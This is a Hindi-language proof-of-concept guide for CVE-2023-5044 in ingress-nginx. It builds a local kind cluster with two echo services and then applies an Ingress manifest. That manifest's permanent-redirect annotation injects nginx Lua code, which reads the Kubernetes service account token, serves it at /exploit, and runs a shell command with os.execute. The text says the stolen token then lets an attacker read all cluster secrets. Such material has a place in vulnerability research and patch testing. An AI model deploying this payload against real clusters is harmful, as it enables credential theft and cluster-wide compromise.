
CVE 2023 5044 के लिए PoC
CVE 2023 5044 के लिए PoC
Kind: v0.20.0
Kubectl: v1.29.3
Docker: v26.0.0
Docker को सही विशेषाधिकार दें
sudo usermod -aG docker $USER && newgrp docker
क्लस्टर को extraPortMaping और node-labels के साथ प्रारंभ करें ताकि इसे ingress के लिए तैयार किया जा सके।
cat <<EOF | kind create cluster --config=-
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
kubeadmConfigPatches:
- |
kind: InitConfiguration
nodeRegistration:
kubeletExtraArgs:
node-labels: "ingress-ready=true"
extraPortMappings:
- containerPort: 80
hostPort: 80
protocol: TCP
- containerPort: 443
hostPort: 443
protocol: TCP
EOF
nginx ingress controller स्थापित करें
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/kind/deploy.yaml
ingress के बिना एक साधारण http-echo सेवा सेट करने के लिए .yaml फ़ाइल
kind: Pod
apiVersion: v1
metadata:
name: foo-app
labels:
app: foo
spec:
containers:
- command:
- /agnhost
- netexec
- --http-port
- "8080"
image: registry.k8s.io/e2e-test-images/agnhost:2.39
name: foo-app
---
kind: Service
apiVersion: v1
metadata:
name: foo-service
spec:
selector:
app: foo
ports:
# Default port used by the image
- port: 8080
---
kind: Pod
apiVersion: v1
metadata:
name: bar-app
labels:
app: bar
spec:
containers:
- command:
- /agnhost
- netexec
- --http-port
- "8080"
image: registry.k8s.io/e2e-test-images/agnhost:2.39
name: bar-app
---
kind: Service
apiVersion: v1
metadata:
name: bar-service
spec:
selector:
app: bar
ports:
# Default port used by the image
- port: 8080
---
exploit के साथ ingress के लिए .yaml फ़ाइल
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: exploit-ingress
annotations:
nginx.ingress.kubernetes.io/rewrite-target: /$2
nginx.ingress.kubernetes.io/permanent-redirect: https://www.google.com;}location ~* "^/exploit(/|$)(.*)" {content_by_lua 'ngx.say(io.popen("cat /var/run/secrets/kubernetes.io/serviceaccount/token"):read("*a"))';}location ~* "^/exploit(/|$)(.*)" { content_by_lua 'os.execute("touch /you")'
spec:
rules:
- http:
paths:
- pathType: Prefix
path: /foo(/|$)(.*)
backend:
service:
name: foo-service
port:
number: 8080
- pathType: Prefix
path: /bar(/|$)(.*)
backend:
service:
name: bar-service
port:
number: 8080
"localhost/exploit" अब ingress-NGINX के लिए Service Account Token लौटाएगा। डिफ़ॉल्ट कॉन्फ़िगरेशन के साथ, यह Service Account Token उन्हें base 64 डिकोड करने के बाद क्लस्टर में सभी secrets को पढ़ने के लिए उपयोग किया जाएगा।